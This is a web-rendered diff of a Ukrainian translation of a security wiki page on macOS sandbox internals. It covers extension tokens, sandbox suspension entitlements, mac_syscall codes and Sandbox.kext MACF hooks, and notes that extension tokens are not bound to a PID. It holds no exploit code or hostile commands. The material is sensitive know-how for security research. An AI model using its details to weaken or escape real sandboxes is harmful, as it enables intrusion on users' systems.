### Користувацький SBPL у додатках App Store
|
||||||
|
|
||||||
Можливо, що компанії можуть змусити свої додатки працювати **з користувацькими профілями пісочниці** (замість за замовчуванням). Вони повинні використовувати право **`com.apple.security.temporary-exception.sbpl`**, яке потрібно авторизувати в Apple.
|
Можливо, що компанії можуть змусити свої додатки працювати **з користувацькими профілями пісочниці** (замість за замовчуванням). Вони повинні використовувати право **`com.apple.security.temporary-exception.sbpl`**, яке потрібно авторизувати Apple.
|
||||||
|
|
||||||
Можна перевірити визначення цього права в **`/System/Library/Sandbox/Profiles/application.sb:`**
|
Можливо перевірити визначення цього права в **`/System/Library/Sandbox/Profiles/application.sb:`**
|
||||||
```scheme
|
```scheme
|
||||||
(sandbox-array-entitlement
|
(sandbox-array-entitlement
|
||||||
"com.apple.security.temporary-exception.sbpl"
|
"com.apple.security.temporary-exception.sbpl"
|
||||||
|
@ -310,7 +310,7 @@ MacOS зберігає системні профілі пісочниці у д
|
||||||
|
|
||||||
Розширення зберігаються в другому слоті мітки MACF, доступному з облікових даних процесу. Наступний **`sbtool`** може отримати доступ до цієї інформації.
|
Розширення зберігаються в другому слоті мітки MACF, доступному з облікових даних процесу. Наступний **`sbtool`** може отримати доступ до цієї інформації.
|
||||||
|
|
||||||
Зверніть увагу, що розширення зазвичай надаються дозволеними процесами, наприклад, `tccd` надасть токен розширення `com.apple.tcc.kTCCServicePhotos`, коли процес намагався отримати доступ до фотографій і був дозволений у повідомленні XPC. Тоді процесу потрібно буде спожити токен розширення, щоб він був доданий до нього.\
|
Зверніть увагу, що розширення зазвичай надаються дозволеними процесами, наприклад, `tccd` надасть токен розширення `com.apple.tcc.kTCCServicePhotos`, коли процес намагався отримати доступ до фотографій і отримав дозвіл у повідомленні XPC. Тоді процесу потрібно буде спожити токен розширення, щоб він був доданий до нього.\
|
||||||
Зверніть увагу, що токени розширення є довгими шістнадцятковими числами, які кодують надані дозволи. Однак у них немає жорстко закодованого дозволеного PID, що означає, що будь-який процес з доступом до токена може бути **спожитий кількома процесами**.
|
Зверніть увагу, що токени розширення є довгими шістнадцятковими числами, які кодують надані дозволи. Однак у них немає жорстко закодованого дозволеного PID, що означає, що будь-який процес з доступом до токена може бути **спожитий кількома процесами**.
|
||||||
|
|
||||||
Зверніть увагу, що розширення дуже пов'язані з правами, тому наявність певних прав може автоматично надавати певні розширення.
|
Зверніть увагу, що розширення дуже пов'язані з правами, тому наявність певних прав може автоматично надавати певні розширення.
|
||||||
|
@ -330,7 +330,7 @@ sbtool <pid> all
|
||||||
|
|
||||||
Також можливо призупинити та відновити пісочницю, використовуючи функції `sandbox_suspend` та `sandbox_unsuspend` з `libsystem_sandbox.dylib`.
|
Також можливо призупинити та відновити пісочницю, використовуючи функції `sandbox_suspend` та `sandbox_unsuspend` з `libsystem_sandbox.dylib`.
|
||||||
|
|
||||||
Зверніть увагу, що для виклику функції призупинення перевіряються деякі права для авторизації виклику, такі як:
|
Зверніть увагу, що для виклику функції призупинення перевіряються деякі права, щоб авторизувати виклик, такі як:
|
||||||
|
|
||||||
* com.apple.private.security.sandbox-manager
|
* com.apple.private.security.sandbox-manager
|
||||||
* com.apple.security.print
|
* com.apple.security.print
|
||||||
|
@ -340,7 +340,7 @@ sbtool <pid> all
|
||||||
|
|
||||||
Цей системний виклик (#381) очікує один рядок як перший аргумент, який вказуватиме модуль для виконання, а потім код у другому аргументі, який вказуватиме функцію для виконання. Третій аргумент залежатиме від виконуваної функції.
|
Цей системний виклик (#381) очікує один рядок як перший аргумент, який вказуватиме модуль для виконання, а потім код у другому аргументі, який вказуватиме функцію для виконання. Третій аргумент залежатиме від виконуваної функції.
|
||||||
|
|
||||||
Виклик функції `___sandbox_ms` обгортає `mac_syscall`, вказуючи в першому аргументі `"Sandbox"`, так само як `___sandbox_msp` є обгорткою для `mac_set_proc` (#387). Деякі з підтримуваних кодів `___sandbox_ms` можна знайти в цій таблиці:
|
Виклик функції `___sandbox_ms` обгортає `mac_syscall`, вказуючи в першому аргументі `"Sandbox"`, так само як `___sandbox_msp` є обгорткою для `mac_set_proc` (#387). Далі деякі з підтримуваних кодів `___sandbox_ms` можна знайти в цій таблиці:
|
||||||
|
|
||||||
* **set\_profile (#0)**: Застосувати скомпільований або названий профіль до процесу.
|
* **set\_profile (#0)**: Застосувати скомпільований або названий профіль до процесу.
|
||||||
* **platform\_policy (#1)**: Застосувати перевірки політики, специфічні для платформи (варіюється між macOS та iOS).
|
* **platform\_policy (#1)**: Застосувати перевірки політики, специфічні для платформи (варіюється між macOS та iOS).
|
||||||
|
@ -373,25 +373,25 @@ sbtool <pid> all
|
||||||
|
|
||||||
## Sandbox.kext
|
## Sandbox.kext
|
||||||
|
|
||||||
Зверніть увагу, що в iOS розширення ядра містить **жорстко закодовані всі профілі** всередині сегмента `__TEXT.__const`, щоб уникнути їх модифікації. Наступні функції з розширення ядра є цікавими:
|
Зверніть увагу, що в iOS розширення ядра містить **жорстко закодовані всі профілі** всередині сегмента `__TEXT.__const`, щоб уникнути їх модифікації. Наступні є деякими цікавими функціями з розширення ядра:
|
||||||
|
|
||||||
* **`hook_policy_init`**: Він підключає `mpo_policy_init` і викликається після `mac_policy_register`. Він виконує більшість ініціалізацій пісочниці. Він також ініціалізує SIP.
|
* **`hook_policy_init`**: Він підключає `mpo_policy_init` і викликається після `mac_policy_register`. Він виконує більшість ініціалізацій пісочниці. Він також ініціалізує SIP.
|
||||||
* **`hook_policy_initbsd`**: Налаштовує інтерфейс sysctl, реєструючи `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` та `security.mac.sandbox.debug_mode` (якщо завантажено з `PE_i_can_has_debugger`).
|
* **`hook_policy_initbsd`**: Налаштовує інтерфейс sysctl, реєструючи `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` та `security.mac.sandbox.debug_mode` (якщо завантажено з `PE_i_can_has_debugger`).
|
||||||
* **`hook_policy_syscall`**: Викликається `mac_syscall` з "Sandbox" як першим аргументом і кодом, що вказує на операцію, у другому. Використовується оператор switch для знаходження коду для виконання відповідно до запитуваного коду.
|
* **`hook_policy_syscall`**: Викликається `mac_syscall` з "Sandbox" як перший аргумент і кодом, що вказує на операцію, у другому. Використовується оператор switch для знаходження коду для виконання відповідно до запитуваного коду.
|
||||||
|
|
||||||
### MACF Hooks
|
### MACF Hooks
|
||||||
|
|
||||||
**`Sandbox.kext`** використовує більше ста хуків через MACF. Більшість хуків просто перевіряють деякі тривіальні випадки, які дозволяють виконати дію, якщо ні, вони викликають **`cred_sb_evalutate`** з **обліковими даними** з MACF та номером, що відповідає **операції**, яку потрібно виконати, і **буфером** для виходу.
|
**`Sandbox.kext`** використовує більше ста хуків через MACF. Більшість хуків просто перевіряють деякі тривіальні випадки, які дозволяють виконати дію, якщо ні, вони викликають **`cred_sb_evalutate`** з **обліковими даними** з MACF та номером, що відповідає **операції**, яку потрібно виконати, і **буфером** для виходу.
|
||||||
|
|
||||||
Хорошим прикладом цього є функція **`_mpo_file_check_mmap`**, яка підключає **`mmap`** і яка почне перевіряти, чи буде нова пам'ять записуваною (і якщо ні, дозволить виконання), потім перевірить, чи використовується вона для спільного кешу dyld, і якщо так, дозволить виконання, а в кінці викличе **`cred_sb_evalutate`** для виконання подальших перевірок дозволу.
|
Добрим прикладом цього є функція **`_mpo_file_check_mmap`**, яка підключила **`mmap`** і яка почне перевіряти, чи буде нова пам'ять записуваною (і якщо ні, дозволить виконання), потім перевірить, чи використовується вона для спільного кешу dyld, і якщо так, дозволить виконання, а нарешті викличе **`sb_evaluate_internal`** (або одну з його обгорток) для виконання подальших перевірок дозволу.
|
||||||
|
|
||||||
Більше того, з сотень хуків, які використовує пісочниця, є 3, які особливо цікаві:
|
Більше того, з сотень хуків, які використовує пісочниця, є 3, які особливо цікаві:
|
||||||
|
|
||||||
* `mpo_proc_check_for`: Застосовує профіль, якщо це необхідно, і якщо він не був раніше застосований.
|
* `mpo_proc_check_for`: Застосовує профіль, якщо це необхідно, і якщо він не був раніше застосований.
|
||||||
* `mpo_vnode_check_exec`: Викликається, коли процес завантажує відповідний бінарний файл, потім виконується перевірка профілю, а також перевірка, що забороняє виконання SUID/SGID.
|
* `mpo_vnode_check_exec`: Викликається, коли процес завантажує асоційований бінарний файл, потім виконується перевірка профілю, а також перевірка, що забороняє виконання SUID/SGID.
|
||||||
* `mpo_cred_label_update_execve`: Це викликається, коли призначається мітка. Це найдовший, оскільки викликається, коли бінарний файл повністю завантажений, але ще не виконаний. Він виконає дії, такі як створення об'єкта пісочниці, прикріплення структури пісочниці до облікових даних kauth, видалення доступу до mach портів...
|
* `mpo_cred_label_update_execve`: Це викликається, коли призначається мітка. Це найдовший, оскільки викликається, коли бінарний файл повністю завантажений, але ще не виконаний. Він виконає дії, такі як створення об'єкта пісочниці, прикріплення структури пісочниці до облікових даних kauth, видалення доступу до mach портів...
|
||||||
|
|
||||||
Зверніть увагу, що **`cred_sb_evalutate`** є обгорткою над **`sb_evaluate`**, і ця функція отримує передані облікові дані, а потім виконує оцінку, використовуючи функцію **`eval`**, яка зазвичай оцінює **профіль платформи**, який за замовчуванням застосовується до всіх процесів, а потім **специфічний профіль процесу**. Зверніть увагу, що профіль платформи є одним з основних компонентів **SIP** в macOS.
|
Зверніть увагу, що **`_cred_sb_evalutate`** є обгорткою над **`sb_evaluate_internal`**, і ця функція отримує передані облікові дані, а потім виконує оцінку, використовуючи функцію **`eval`**, яка зазвичай оцінює **профіль платформи**, який за замовчуванням застосовується до всіх процесів, а потім **специфічний профіль процесу**. Зверніть увагу, що профіль платформи є одним з основних компонентів **SIP** в macOS.
|
||||||
|
|
||||||
## Sandboxd
|
## Sandboxd
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue